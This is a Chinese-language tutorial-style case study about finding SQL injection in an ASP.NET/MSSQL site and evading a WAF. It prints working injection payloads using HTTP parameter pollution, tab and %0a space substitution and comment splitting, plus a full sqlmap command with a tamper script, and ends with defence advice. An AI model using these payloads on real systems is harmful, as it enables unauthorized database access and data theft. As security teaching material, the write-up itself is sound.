一次SQL注入与WAF绕过思路分享
字数 1325 2025-08-18 11:38:32
SQL注入与WAF绕过技术详解
一、环境识别与注入发现
1. 初始探测
- 目标网站为ASP.NET架构,中间件为IIS
- 测试表单页面时发现XSS和SQL注入可能性
- 输入
aaa'后返回错误信息:"字符串 'aaa'' 后的引号不完整。'aaa'' 附近有语法错误。" - 这表明:
- 单引号被直接执行
- 可能存在SQL注入漏洞
2. 数据库类型判断
- ASP.NET + IIS环境通常使用MSSQL数据库
- 验证方法:
- 输入
aaa' and user>0被WAF拦截 - 输入
aaa' and '1'='1同样被拦截 - 使用注释测试:
aaa' /*and @@version>0 and '1 '='1'*/--- 成功执行,返回"用户名不存在"
- 确认支持
--注释符(MSSQL或Oracle)
- 进一步确认:
- MSSQL支持
;作为语句分隔符 - Oracle不支持
;分隔符
- MSSQL支持
- 输入
二、WAF绕过技术
1. HTTP参数污染(HPP)绕过
- 原理:不同技术栈对重复参数处理方式不同
- 示例:
- 请求:
/test.asp?id=union+select+password/*&id=*/from+admin - ASP.NET + IIS处理为:
id=union+select+password/*,*/from+admin - 数据库执行时:
id=union+select+password from+admin
- 请求:
2. 空格绕过技术
- 发现WAF过滤关键字间的空格
- 绕过方法:
- 使用Tab键代替空格
- 使用
%0a(换行符)代替空格 - 示例:
- 原始被拦截语句:
aaa'and '1'='1 - 绕过语句:
aaa'[tab]and[tab]'1'='1 - 或:
aaa'and%0a'1'='1
- 原始被拦截语句:
3. 注释符使用
- MSSQL支持的注释方式:
--行尾注释/* */块注释
- 可结合使用注释符分割关键字绕过WAF
三、手工注入技术
1. 数据库版本探测
- 成功绕过后的语句:
aaa'and%0a@@version>0--
2. 当前用户探测
- 语句:
aaa'and user>--
四、自动化工具使用
sqlmap高级用法
- 使用
space2mssqlblank.py脚本绕过空格过滤 - 命令示例:
sqlmap.py -r 2.txt --risk 3 --dbms=mssql --random-agent -v 3 -p "txtUserNo" --tamper=space2mssqlblank.py - 参数说明:
-r:从文件读取HTTP请求--risk 3:高风险级别--dbms=mssql:指定数据库类型--random-agent:随机User-Agent-v 3:详细输出级别-p:指定测试参数--tamper:使用指定绕过脚本
五、防御建议
1. 针对SQL注入
- 使用参数化查询
- 实施最小权限原则
- 对输入进行严格过滤和转义
2. 针对WAF绕过
- 实现多层防御机制
- 监控异常请求模式
- 定期更新WAF规则
- 对注释符和特殊字符进行过滤
六、总结
本案例展示了从发现SQL注入到绕过WAF的完整过程,关键点包括:
- 通过错误信息识别注入点
- 准确判断数据库类型
- 分析WAF过滤规则
- 使用替代字符和注释符绕过过滤
- 结合手工测试和自动化工具
掌握这些技术有助于安全测试人员更有效地发现和验证SQL注入漏洞,同时也帮助开发人员构建更安全的应用程序。